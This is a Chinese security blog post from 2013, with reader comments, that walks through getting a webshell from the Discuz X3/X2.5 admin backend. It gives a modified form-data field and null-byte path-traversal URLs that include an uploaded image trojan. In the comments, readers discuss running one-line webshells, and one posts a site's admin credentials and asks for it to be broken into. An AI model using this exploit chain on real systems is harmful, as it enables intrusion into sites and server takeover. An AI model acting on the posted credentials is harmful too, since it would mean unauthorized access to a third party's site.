dz3.0/2.5 后台拿shell[Discuz 后台拿shell]

上班后看到wooyun社区发布了一个discuz  x3后台拿shell的方法,随后t00ls的会员也测试了discuz x2.5的后台拿shell方法。

好蛋疼的是我测试居然没过,抓到的数据包和给出的案例不一样!!!

经过研究发现,步骤错了。。。。

原帖地址内容:
http://zone.wooyun.org/content/3894

用户 – 用户栏目 – 栏目分组 – 提交 – 抓包 (我就是在这步出错的,一定要提交,不然抓到的数据包不一样)

Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"

改为

Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"

访问

/home.php?mod=spacecp&id=../../robots.txt%0057

利用:

原帖测试的是dz x3,我测试的是dz x2.5  无视gpc

*********************************************************************

1.首先进后台,抓个包

2013052411300201

2.改包

Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"

改为

Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"

提交

2013052411514402

3.提交过后访问
/home.php?mod=spacecp&id=../../robots.txt%00

2013052411523903

4.找个地方上传图片马

2013052412221104

5.访问图片马

http://192.168.2.190//home.php?mod=spacecp&id=../../data/attachment/forum/201305/24/122111m1464cdtfkc0stt1.gif%00

本文固定链接: https://www.unhonker.com/bug/1217.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2013年05月24日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: dz3.0/2.5 后台拿shell[Discuz 后台拿shell] | 90' s Blog|关注网络信息安全
关键字:

dz3.0/2.5 后台拿shell[Discuz 后台拿shell]:目前有17 条留言

  1. 6楼
    sinsky:

    测试好像无效 环境 LINUX DZ 2.5

    加载这图片是可以的,加载带PHP代码的就不显示了。 也不报错。

    2013-05-24 19:14
    • honker90:

      Linux环境我没测试。 我测的是win2003+iis6

      2013-05-24 23:05
      • 那可能就是了,gpc开了。不知道是不是这个引起的。可能DZ有保护机制。

        <? <?php 图片里有这个的直接不显示内容。其它的则正常

        2013-05-24 23:14
  2. 5楼
    aoshid002:

    前面可以成功。后面加载图片
    ../../static/image/common/logo.png%00
    显示??????????????????????????????????????p?????
    加载我传上去的forum/201306/10/030536hjt4qjtxig2tis4j.jpg%00
    的马就显示?????????????????? 一大堆?号。是不是这种就不行啦。

    2013-06-11 11:55
  3. 4楼
    aoshid002:

    可是到传马的时候
    http://www.z y y o u.com//home.php?mod=spacecp&id=../../data/attachment/forum/201306/10/030536hjt4qjtxig2tis4j.jpg%00
    用户名admin 密码 ivwitfk

    大大。能否帮进去看看能不能拿下呢。发个shell到我的QQ邮箱呢? 我试了到这一步不行显示 ????这样子

    2013-06-14 10:06
  4. 地板
    luoxlcom:

    仔细看了一遍,本地搭建 尝试了x3 x2.5 x2 无一成功 x3根本没有生成那个htm x2.5和x2 都提示无法创建模板之类的话 我的PHP版本5.4.16
    apache版本2.4.4 麻烦指出到底是哪里错了 我操作系统win7 尝试太多次了 很郁闷。

    2013-08-04 16:13
    • honker90:

      注意看下我文章发布得时间。

      2013-08-04 16:26
      • luoxlcom:

        我明白你的意思 是官方出了补丁 那我还想请问下 有没有其他的思路

        2013-08-04 16:33
  5. 板凳
    install:

    phpinfo信息可以显示 一句话无法运行,请教!

    2013-09-03 21:54
    • honker90:

      为什么非得一句话?

      2013-09-03 22:00
      • install:

        我试过PHP小马 ,也没有成功。

        2013-09-03 22:11
  6. 沙发
    install:

    请教是否还有测试成功的图片webshell :mrgreen:

    2013-09-03 22:15
    • honker90:

      我测试时一句话是通过的。 记得选择脚本

      2013-09-03 22:16
      • install:

        共享一下你的一句话。我这测试N遍全不通过,用的菜刀连接!

        2013-09-04 00:11

发表评论

您必须 [ 登录 ] 才能发表留言!